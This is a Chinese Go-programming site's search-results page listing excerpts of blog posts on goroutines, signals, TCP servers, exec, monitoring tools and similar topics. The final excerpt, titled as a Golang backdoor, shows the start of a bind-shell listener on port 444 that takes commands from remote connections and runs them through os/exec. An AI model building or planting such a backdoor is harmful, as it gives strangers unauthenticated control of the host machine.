Go语言中文网 为您找到相关结果 197

GO编译环境搭建(基于SublimeText3)

1、我的机器是32位的win,可以去下面连接下载:http://download.csdn.net/detail/cumtwys/7695131 如果需要其他版本请到google官网下载(貌似被封了):http://code.google.com/p/go/downloads/list?q=OpSys-Windows+Type%3DInstaller 2、配置系统环境变量 新建变量名:GOBIN 变量值:C:\go\bin 新建变量名:GOARCH 变量值:386 新建变量名:GOOS 变量值:windows 新建变量名:GOROOT 变量值:C:\go 编辑PATH变量,在最后添加 ;%GOBIN% 3、配置Sublime Text 按住【Ctrl+shift+p】,在弹出框内输入【ins...阅读全文

博文 2015-02-22 01:00:01 cumtwys

golang select 退出结束goroutine

开启了多个协程 其中一个协程满足条件后终止select, 原以为其他的协程会在后台系统中继续悄悄运行 直到主进程关闭而关闭 。 做一实验发现select 监听退出 会关闭所有监听的goroutine package main import ( "fmt" "time" ) var stop bool = false func main() { ch := make(chan int, 0) ch2 := make(chan int, 0) defer func() { close(ch) close(ch2) }() go func() { ch <- 1 }() for i := 0; i <= 20; i++ { go func(ch2 chan int) { for { fmt.Pri...阅读全文

博文 2015-01-22 13:00:01 wangxusummer

golang 监听端口

package main import ( "fmt" "log" "net" "bufio" "io" ) func handleConnection(conn net.Conn) { br := bufio.NewReader(conn) for{ data, err := br.ReadString('\n') if err == io.EOF{ break } fmt.Printf("%s", data) fmt.Fprintf(conn, "OK\n") } conn.Close() } func main() { ln, err := net.Listen("tcp", ":8092") if err != nil { panic(err) } for { conn, err :...阅读全文

博文 2015-06-17 20:17:47 cauckfgf

golang中os/signal包的使用

os/signal包实现对信号的处理 golang中对信号的处理主要使用os/signal包中的两个方法:一个是notify方法用来监听收到的信号;一个是 stop方法用来取消监听。 func Notify(c chan<- os.Signal, sig ...os.Signal) func Notify(c chan<- os.Signal, sig ...os.Signal)第一个参数表示接收信号的channel, 第二个及后面的参数表示设置要监听的信号,如果不设置表示监听所有的信号。 func main() { c := make(chan os.Signal, 0) signal.Notify(c) // Block until a signal is received. s := ...阅读全文

博文 2015-06-17 20:03:59 chenbaoke

[笔记]Go语言写文件几种方式性能对比

Go语言中写文件有多种方式,这里进行如下几种方式的速度对比: 打开文件,写入内容,关闭文件。如此重复多次 打开文件,写入内容,defer 关闭文件。如此重复多次 打开文件,重复多次写入内容,defer 关闭文件 在VMWare下的Ubuntu 14.04下运行的结果表明: 方式1速度最慢,但是慢的很稳定 方式2比方式1略快,但是重复次数多了后会报错,应该是defer被压栈太多导致系统撑不了太多打开的文件 方式3速度约是前两者的2倍,因为减少了很多打开关闭文件的操作 测试代码如下: package main import ( "fmt" "os" "time" ) func benchmarkFileWrite(filename string, n int, index int) (d tim...阅读全文

博文 2015-03-08 03:00:01 journeyonmyway

golang执行linux命令

golang exec 执行系统命令 golang 2014-09-25 13:17:44 2779 0 0 exec.Command() 最简单的方法: cmd := exec.Command("/bin/sh/", "-c", "linux命令") 或复杂的, 各个参数都要单独写 cmd := exec.Command("ls", "-l", "-a") package main import ( "bytes" "fmt" "os/exec" ) func main() { in := bytes.NewBuffer(nil) cmd := exec.Command("sh") cmd.Stdin = in go func() { in.WriteString("echo hello ...阅读全文

博文 2016-08-31 17:00:02 zhangym

Golang-设置系统时间

// 接收UDP时间广播,并设置系统时间 func (sl *Slaver) masTimeSync(ch chan int) { // 开始监听广播时间 log.Printf("time sync listen [%s]", sl.Node.Port.PortUdpSlaTimeSync) for { (func() { // 监听 mas 发来的同步时间 lis, err := socket.NewListen("", sl.Node.Port.PortUdpSlaTimeSync, 3).ListenUDP() // 判断监听是否建立成功 if err != nil { // 异常抛出 log.Fatalln(err) } // 保证监听正常关闭 defer lis.Close() /...阅读全文

博文 2015-03-03 21:41:22 nulijiabei

准备写一个基于go、angularjs的系统管理平台

功能要求:监控 http、tcp、udp 等服务状态分析 nginx、tomcat、weblogic 等日志监控 linux 服务器 cpu、硬盘、内存、网卡流量邮件报警go 主要用来写后台代码和监控 linux 服务器的 client 代码,并提供一个 api 给 angularjs 来查询和更新数据。上面这些功能使用 python 更容易实现一些(python 有许多现成的模块可以使用),只不过拿这个项目作为学习 go 的一个手段。目前完成了一部分的 go 和 angularjs 的代码。代码目前托管在 coding,有兴趣的朋友可以留言一起来学习交流 go 和 angularjs...阅读全文

博文 2015-06-18 09:02:45 qcpm1983

Golang自定义包总结

近日在学习Golang的自定义包的创建方式,产生了一些经验,因此以这篇文章作为记录。 我们通过import语句将自定义包加入到我们项目main函数中,import语句后面的参数应该是文件夹的名称,和自定义包的package的名称或者自定义包里面的文件名称没有关系,例如文件的结构目录如下: main.go的源码: package main import "fmt" import "foo" func main() { bar.Abc() fmt.Print("This is main\n") } foo/test.go的源码: package bar import "fmt" func Abc() { fmt.Print("This is test print\n") } 上面的代码是顺利通过...阅读全文

Prometheus 系统监控方案 一

最近一直在折腾时序类型的数据库,经过一段时间项目应用,觉得十分不错。而Prometheus又是刚刚推出不久的开源方案,中文资料较少,所以打算写一系列应用的实践过程分享一下。 Prometheus 是什么? Prometheus是一套开源的监控&报警&时间序列数据库的组合,起始是由SoundCloud公司开发的。随着发展,越来越多公司和组织接受采用Prometheus,社会也十分活跃,他们便将它独立成开源项目,并且有公司来运作。google SRE的书内也曾提到跟他们BorgMon监控系统相似的实现是Prometheus。现在最常见的Kubernetes容器管理系统中,通常会搭配Prometheus进行监控。 Prometheus 的优点 非常少的外部依赖,安装使用超简单 已经有非常多的系统集...阅读全文

beego中https监听端口冲突的问题

在开发的项目中因为安全性,需要支持https,所以在conf中增加了如下设置: EnableHttpTLS = true HttpsPort = 8888 HttpCertFile = ./server.crt HttpKeyFile = ./server.key 运行后发现第一次可以顺利运行,后面就会发生错误 [C] ListenAndServeTLS: %!(EXTRA *net.OpError=listen tcp :8888: bind: address already in use) 从错误提示来看,是端口被占用了 这个错误不知道怎么破了,或者还有参数需要设置? 哪位大大指点一下...阅读全文

Golang 1.3 sync.Atomic源码解析

上一篇文章我们说到sync.Mutex的源码实现,核心就是使用到了CPU指令CAS,从并发性能上来说atomic的效率是要高于mutex的,毕竟mutex做了不少的其他步骤,而atomic的核心其实就是和处理器密切关系的,通过一两个指令就能完成的原子操作,我们接下来来看看atomic在golang中的一些细节。 通过目录: 64bit_arm.go asm_amd64p32.s asm_linux_arm.s atomic_test.go race.go asm_386.s asm_arm.s asm_netbsd_arm.s doc.go asm_amd64.s asm_freebsd_arm.s atomic_linux_arm_test.go export_linux_arm_test...阅读全文

博文 2014-10-19 09:03:49 毛, 剑

Golang-too_many_open_files-解决方法

这是系统资源限制,通常单进程不能超过 1024,我使用cgo来设置,代码如下: package main /* #include #include #include int rlimit_init() { printf("setting rlimit\n"); struct rlimit limit; if (getrlimit(RLIMIT_NOFILE, &limit) == -1) { printf("getrlimit error\n"); return 1; } limit.rlim_cur = limit.rlim_max = 50000; if (setrlimit(RLIMIT_NOFILE, &...阅读全文

博文 2015-03-03 21:46:55 nulijiabei

关于Go语言daemon启动的方法.

昨天搞了个文件共享的小程序,遇见了意见蛋疼的事,就是启动之后终端不能关闭,不然程序也会随着关闭. 我的解决方法: nohup ./httpserver & nohup这个命令可以把程序放后台运行,顺便通过1>和2>把标准输出和标准错误重定向到文件,这样程序崩溃时才会有记录可查,这两者和程序的日志最好是分开,混在一起没办法判断轻重缓急: nohup ./server 1> server.out 2> server.err 进程启动时候记录下自己的pid: if pid := syscall.Getpid(); pid != 1 { ioutil.WriteFile("server.pid", []byte(strconv.Itoa(pid)), 0777) defer os.Remove("s...阅读全文

博文 2016-01-05 20:00:00 fyxichen

Deepin下搭建Golang开发环境

首先下载golang包,下载地址:http://pan.baidu.com/s/1hq1mrDM 进入go文件夹,然后进入对应的版本号,如果您的系统是32位的就是go1.4.2.linux-386.tar.gz,64位是go1.4.2.linux-amd64.tar.gz,下载好了后,解压得到go文件夹,我们使用命令移动到系统目录:sudo mv go /usr/local/输入管理员密码,什么都没有提示就是成功了,然后修改profile文件,命令是sudo gedit /etc/profile,然后在末尾添加以下代码: export GOROOT=/usr/local/go export GOARCH=amd64 export GOOS=linux export GOPATH=/home/...阅读全文

博文 2015-06-17 20:05:15 Rekols

北京招聘Golang研发工程师

工作地点: 北京-回龙观-复式精装住宅 工作装备: MacBook Pro Retina 三星大宽屏显示器 人体工程学座椅 公司简介: 天津泛亚电子商务技术服务有限公司于2014年1月由泛亚有色金属交易所原有股东投资设立,注册资本1亿元人民币,是泛亚有色金属交易所实现集团化发展的重要战略举措。该公司将以交易系统研发、风险控制等核心技术,以控股或参股的形式参与全国各地交易市场及交易中心的建设,预计3-5年内将形成天津为核心,涵盖有色金属、煤炭、进口矿产品、塑料等大宗商品业务板块。 岗位要求: - 计算机相关专业本科及以上学历, 具有2年及以上开发工作经验; - 熟悉Linux工作环境,精通Golang/Erlang/C/C++至少一种语言; ...阅读全文

golang信号signal的处理

在实际项目中我们修改了配置文件后,希望在不重启进程的情况下重新加载配置文件,这时候就需要通过信号传递来进行处理了。golang中对信号的处理主要使用os/signal包中的两个方法:一个是notify方法用来监听收到的信号;一个是 stop方法用来取消监听。下面给一个些示例。 监听信号 notify方法原型 func Notify(c chan<- os.Signal, sig ...os.Signal) 第一个参数表示接收信号的管道 第二个及后面的参数表示设置要监听的信号,如果不设置表示监听所有的信号。 package main import ( "fmt" "os" "os/signal" //"syscall" ) func main() { c := make(chan os.Sig...阅读全文

博文 2015-10-14 14:27:22 陈杰斌

可视化系统监控工具 Cloudinsight Agent

![image](http://static.oschina.net/uploads/img/201610/18113759_OZtU.jpg) 很高兴地宣布 Cloudinsight  Agent 在 BSD 开源协议下正式开源了。我们的工程师在开源前已将代码用 Golang 重写,更加清晰简洁,欢迎大家参与到  Cloudinsight Agent 的开发和迭代中来。 **为什么要用 Golang 重写和开源** [**Cloudinsight**](http://cloudinsight.oneapm.com/)**是一个可视化系统监控工具,能够对数据指标进行聚合、分组、过滤、 管理、计算;并提供团队协作功能,共同管理数据和报警事件。而这些的关键,正是 Cloudinsigh...阅读全文

基于go+protobuf实现的多种持久化方案的mq框架:kiteq

基于go+protobuf实现的多种持久化方案的mq框架:kiteq gitlab上发现一个比较好的开源项目,特此介绍: 简介 * 基于zk维护发送方、订阅方、broker订阅发送关系、支持水平、垂直方面的扩展 * 基于与topic以及第二级messageType订阅消息 * 基于mysql、文件存储方式多重持久层消息存储 * 保证可靠异步投递 * 支持两阶段提交分布式事务 工程结构 kiteq/ ├── README.md ├── binding 订阅关系管理处理跟ZK的交互 ├── build.sh 安装脚本 ├── client KiteQ的客户端 ├── doc 文档 ├── handler KiteQ所需要的处理Handler ├── kite_benchmark.go KiteQ...阅读全文

博文 2015-06-18 09:02:12 chenglinhust

GO ZK WATCH监听

package main import ( "fmt" "github.com/samuel/go-zookeeper/zk" "strings" "time" ) func must(err error) { if err != nil { panic(err) } } func connect() *zk.Conn { servers := strings.Split("127.0.0.1:2181", ",") conn, _, err := zk.Connect(servers, time.Second) must(err) return conn } func mirror(conn *zk.Conn, path string) (chan []string, chan error...阅读全文

博文 2016-07-13 13:00:06 mingzhehaolove

Prometheus 系统监控方案 二 安装与配置

下载Prometheus 下载最新安装包,本文说的都是在Linux x64下面内容,其它平台没尝试过,请选择合适的下载。 Prometheus 主程序,主要是负责存储、抓取、聚合、查询方面。 Alertmanager 程序,主要是负责实现报警功能。 Pushgateway 程序,主要是实现接收由Client push过来的指标数据,在指定的时间间隔,由主程序来抓取。 *_exporter 这类是不同系统已经实现了的集成。 下载解压,一般默认的配置就可以运行。 tar xvfz prometheus-*.tar.gz cd prometheus-* go写的东西,直接打包成二进制包了,其本上没有别的依赖。 下面我们主要来了解一下他的配置文件,这是一个非常重要的步聚。 配置Prometheus监...阅读全文

go 1.4支持Android的说明(译文)

https://docs.google.com/document/d/1N3XyVkAP8nmWjASz8L_OjjnjVKxgeVBjIsTr5qIUcA4/edit?pli=1 摘要 我们计划为Android平台引入GO支持。我们会关注于对用GO来开发游戏提供支持。 背景 Android是为了运行APP而设计的操作系统。一个app依赖于更多的平台库和服务(比传统Unix操作系统),这意味着如果没有新的API,Android上的GO运行时的一个端口,那将不会有多大用处。 提供一个Android平台的等价的GO是难以避免的。平台是用java写的,有很多的api接口。任何用GO来封装封装这些API的尝试都会得到一个不好的结果:手动编译封装会跟不上特色,自动生成封装会导致丑陋的GO。无论哪种方法...阅读全文

博文 2014-12-11 22:00:06 itfanr

Linux 资源监控sysmon - 功能强大的图形化 linux 系统资源监控

sysmon 是一个前后端分离的 linux 资源监控应用, 可以监控 CPU/内存/磁盘/网络 等状态, 还有极其详细的进程/线程信息 服务端只支持 Linux, 包括 x86/amd64/armv6l/arm64/mips/mips64 架构 客户端则支持 web/windows/linux/android, 具体每个平台上支持的架构, 参考: https://github.com/Lt0/sysmon/releases 服务端使用 Golang + beego 实现 客户端使用 vue + vuetify 实现 桌面客户端主要是 electron 封装的 web app 移动客户端主要使用 hbuilder 封装的 web app 觉得有用的记得给个星啊!!!...阅读全文

Golang——net/http

构建一个web 在浏览器输入http://localhost:8080 import ( "net/http" "fmt" "log" ) func sayhelloGolang(w http.ResponseWriter, r *http.Request) { r.ParseForm() //解析参数,默认是不会解析的 fmt.Println("path", r.URL.Path) w.Write([]byte("Hello Golang")) } func main() { http.HandleFunc("/", sayhelloGolang) //设置访问的路由 err := http.ListenAndServe(":8080", nil) //设置监听的端口 if err != ...阅读全文

博文 2018-08-23 21:34:58 巴翔

go 是怎么运行web服务的?

我现在电脑上已经有一个apache了,在网上看了一下视频 ,go运行web服务在本地也是localhost ,那么不是已经和我的apache有冲突了,不知道这个问题要怎么解决,难道是要修改监听的端口吗?刚刚开始学习go的开发,还不是很了解, 麻烦各位高手指定一下,或者是提示一下,我应该去看那一方面的资料,谢谢了,,,...阅读全文

Linux 平台下的漏洞扫描器Vuls

Vuls 是一款适用于 Linux / FreeBSD 的漏洞扫描程序,无代理,采用 golang 编写。 对于系统管理员来说,每天必须执行安全漏洞分析和软件更新都是一个负担。为避免生产环境宕机,系统管理员通常选择不使用软件包管理器提供的自动更新选项,而是手动执行更新。这会导致以下问题: 系统管理员必须不断注意NVD(National Vulnerability Database)或类似数据库中的新漏洞。 如果服务器中安装了大量软件,系统管理员可能无法监视所有软件。 执行分析以确定受新漏洞影响的服务器是昂贵的。在分析过程中可能会忽略服务器或两台服务器。 Vuls 是为解决上述问题而创建的工具。它具有以下特点: 通知用户与系统相关的漏洞。 通知受影响的服务器的用户。 自动执...阅读全文

golang 关于 select,for cpu 100%

for 如果for循环体一直处于繁忙状态,则cpu被一直抢占,而cpu居高不下,如果循环体有io等待则会出让cpu,不会一直抢占 select 监听各case的io事件,各case必须都是 chan,一旦有一个case触发io则执行case块 如果没有default,则select会被一直阻塞,如果有default,则在没有io事件时,直接执行default块,退出select for select 在有default的情况下,很容易造成类似for死循环 抢占cpu的情...阅读全文

博文 2016-03-30 10:00:06 wolgame

可视化系统监控工具 Cloudinsight Agent 正式开源

![](http://o8g4uutrr.bkt.clouddn.com/cloudinsight%20agent%201.jpg) 很高兴地宣布 Cloudinsight Agent 在 BSD 开源协议下正式开源了。我们的工程师在开源前已将代码用 Golang 重写,更加清晰简洁,欢迎大家参与到 Cloudinsight Agent 的开发和迭代中来。 ##为什么要用 Golang 重写和开源 [Cloudinsight](http://cloudinsight.oneapm.com?utm_source=studygolang&utm_medium=Article&utm_term=agentos&utm_campaign=CiTech&from=jscwgye...阅读全文

非官方中文文档Promethues监控系统

## Prometheus 非官方中文手册 --- ### 目录 - 介绍 [总览](introduction/overview.md) [安装](introduction/install.md) [启动](introduction/get_started.md) [对比](introduction/comparison.md) [常见问题](introduction/questions.md) [路线图](introduction/roadmap.md) [学习媒介](introduction/media.md) [词汇](introduction/glossary.md) - ...阅读全文

ubuntu上golang1.5.1安装

如果从golang1.5.1源码安装go的话,需要系统上go1.4的支持,也就是说安装go1.5之前需要先安装go1.4。另外,安装go1.4时,编译的时间也会因系统配置的不同而编译时间不同,于是索性下了golang1.5.1编译后的可执行文件包:go1.5.1.linux-amd64.tar.gz。 部署如下: 1.解压: root@ubuntu:/usr/local# tar -xzvf go1.5.1.linux-amd64.tar.gz 2. /etc/profile文件最后添加如下内容: export GOROOT=/usr/local/go export GOPATH=/home/tjy/go-ws export PATH=$GOROOT/bin:$GOPATH/bin:$PAT...阅读全文

javaer to go之TCP Socket与Goroutine

1、前言 其实我前面一篇笔记的例子就是socket的一个例子,但是由于大部分的笔记说明都是在整理基础的东西,所以socket的笔记单独列在这里。 server.go package socket import ( "fmt" "net" ) func StartServer() { service := ":3338" tcpAddr, err := net.ResolveTCPAddr("tcp4", service) checkError(err) listener, err := net.ListenTCP("tcp", tcpAddr) checkError(err) for { conn, err := listener.Accept() if err != nil { conti...阅读全文

博文 2016-05-31 17:00:00 p_3er

golang版本的通用时间轮 Timewheel

一个通用的timewheel工具类 通用粗精度的timewheel,只启动一个timer,可监听任意多的到期时间,放入的用户数据可以是任何类型。 接口说明: 1. Start: 开始一个timewheel ; 2. SetCallback: 设置时间到期时的回调函数,回调函数中不可作过于耗时的操作,以免卡住timewheel的正常运行; 3. Add: 添加需要监控的对象,务必在Start调用后再调用此接口; 4. Stop: 停止此timewhee...阅读全文

GO语言区块链交易系统开发工程师

岗位描述:GO语言区块链交易系统工程师 一:岗位要求 1. 逻辑能力强. 思维活跃,接受新事物能力强; 2. 性格开朗乐观,责任心强,积极主动,善于沟通,具有团队精神; 3. 具有较强的学习沟通和口头表达能力; 4. 熟悉开源项目,IBM Hyperledger. Ethereum. siacoin. bitcoin; 5. 熟悉golang语言,精通JAVA/Python/C++/Go/PHP/solidity等语言经验中至少两种编程语言或其他开发语言, 具有良好的编程习惯和风格 6. 熟悉区块链的原理. 技术. 熟悉加密技术. 可以用golang开发部分代码; 7. 有github开源项目. 熟悉开源项目流程. 有良好的英文阅读能力的优先。 8. 本科及以上学历,...阅读全文

iOS中键值编码KVC及键值监听KVO的操作方法

![one_20140630080614003.jpg](http://studygolang.qiniudn.com/151225/d6447da995f86fff419b50ed0237d7dd.jpg) 在iOS开发中,我们常常用到键值编码KVC和键值监听KVO两个东东,今天小编和大家分享的就是这两个东东在应用开发中的具体用法。下面是小编在网上看到的一位大牛写的,灰常不错的有关KVC和KVO 的介绍,既然大牛都写得这么详细了,我们就直接借鉴借鉴吧。 键值编码KVC KVC的操作方法由NSKeyValueCoding协议提供,而NSObject就实现了这个协议,也就是说objective-c语言中几乎所有的对象都支持KVC操作,常用的KVC操作方法如下: 1、动态...阅读全文

golang内存释放

一、前言 一般在golang运行完成初始化时,会创建专门的goroutine用于后台监控、定期任务,这其中也涉及到了强制垃圾回收、内存释放等任务。 // 主goroutine. func main() { // ... // m0: 系统主线程 // g0:主goroutine // m0、g0是比较特殊的 仅用于main goroutine的父goroutine g.m.g0.racectx = 0 if sys.PtrSize == 8 { // 64bits 系统 maxstacksize = 1000000000 } else { // 32bits系统 maxstacksize = 250000000 } // 新建M(物理线程) mainStarted = true if GOA...阅读全文

博文 2019-01-09 22:34:43 神奇的考拉

golang select 小结

select 介绍 从不同并发执行的协程中,获取数据可以用select来完成。select监听的多个通道,也可以用通道发送数值。 select { // 接收数据 case u:= <- ch1: ... // 发送数据 case v:= <- ch2: ... ... default: // no value ready to be received ... } select 基本用法 1、如果多个通道都阻塞了,会等待知道其中一个通道可以处理。 2、如果多个通道都可以处理,随机选取一个处理。 3、如果没有通道操作可以操作并且写了default语句,会执行:default(永远是可以运行的) 4、如果防止select堵塞,可以写default来确保发送不被堵塞,没有case的select就会...阅读全文

Golang 写的后门程序

package main import ( "fmt" "net" "os/exec" "strings" ) var left = "#shell:" func main() { ln, err := net.Listen("tcp", ":444") buffRecv := make([]byte, 128) if err != nil { err.Error() } for { conn, err := ln.Accept() showMSG(conn) if err != nil { continue } c := []byte(left) for { conn.Write(c) length, err := conn.Read(buffRecv) if length == 10 {...阅读全文

博文 2015-02-10 19:00:01 未来还没来